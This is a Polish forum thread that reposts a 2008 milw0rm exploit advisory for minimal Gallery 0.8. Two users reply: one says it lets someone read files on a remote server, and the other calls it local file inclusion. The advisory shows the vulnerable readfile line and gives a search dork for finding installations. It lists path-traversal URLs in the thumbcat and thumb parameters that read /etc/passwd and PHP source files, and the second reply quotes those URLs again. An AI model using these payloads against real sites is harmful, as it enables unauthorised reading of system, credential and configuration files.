Remote File Disclosure Vulnerability

witko2006

Użytkownik
Dołączył
Wrzesień 21, 2007
Posty
12
Kod:
# Script : minimal Gallery 0.8                                                  

# Download : [url]http://minimaldesign.net/downloads/projects/minimal-gallery                        [/url] 

# BUG :  Remote File Disclosure Vulnerability  

# Dork : powered by minimal Gallery 0.8

         

## Vulnerable CODE :

~~~~~~~~~ /_mg/php/mg_thumbs.php ~~~~~~~~~~~~~~~~~

readfile("../$thumbs_dir/$thumbcat$thumb");



the variables thumbcat & thumb are defined in page mg_thumbs.php like that : 

$thumbcat = $_GET['thumbcat'];

$thumb = $_GET['thumb'];

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~         



# Exploit : 



[Target.il]/[Path_mGallery]/_mg/php/mg_thumbs.php?thumbcat=../../../../../../etc/passwd

[Target.il]/[Path_mGallery]/_mg/php/mg_thumbs.php?thumbcat=../../../../../../[file].php



[Target.il]/[Path_mGallery]/_mg/php/mg_thumbs.php?thumb=../../../../../../etc/passwd

[Target.il]/[Path_mGallery]/_mg/php/mg_thumbs.php?thumb=../../../../../../[file].php





# phpinfo(); View >> [Target.il]/[Path_mGallery]/php_info.php





# greezt :  coNan , GoLd_M , RoMaNcYxHaCkEr , Rachidox ,  and all muslims Hackers 



################################################################################
######

#              H-T TeaM {HouSSaMix _ ToXiC350}  from MoRoCCo                         #

################################################################################
######



# milw0rm.com [2008-01-13]

Co o tym sadzicie?

Do czego moze zostal uzyty?
 

abramakabra

Były Moderator
Dołączył
Marzec 16, 2003
Posty
1191
Służy to zapewne do przeglądania plików na zdalnym serwerze jak sama nazwa wskazuje
smile.gif
 

B33RK4

Użytkownik
Dołączył
Styczeń 3, 2007
Posty
598
Kod:
[Target.il]/[Path_mGallery]/_mg/php/mg_thumbs.php?thumbcat=../../../../../../etc/passwd 

[Target.il]/[Path_mGallery]/_mg/php/mg_thumbs.php?thumbcat=../../../../../../[file].php 



[Target.il]/[Path_mGallery]/_mg/php/mg_thumbs.php?thumb=../../../../../../etc/passwd 

[Target.il]/[Path_mGallery]/_mg/php/mg_thumbs.php?thumb=../../../../../../[file].php

Nie widze tu RFI, jak już jest to Local File Include....
 
Do góry Bottom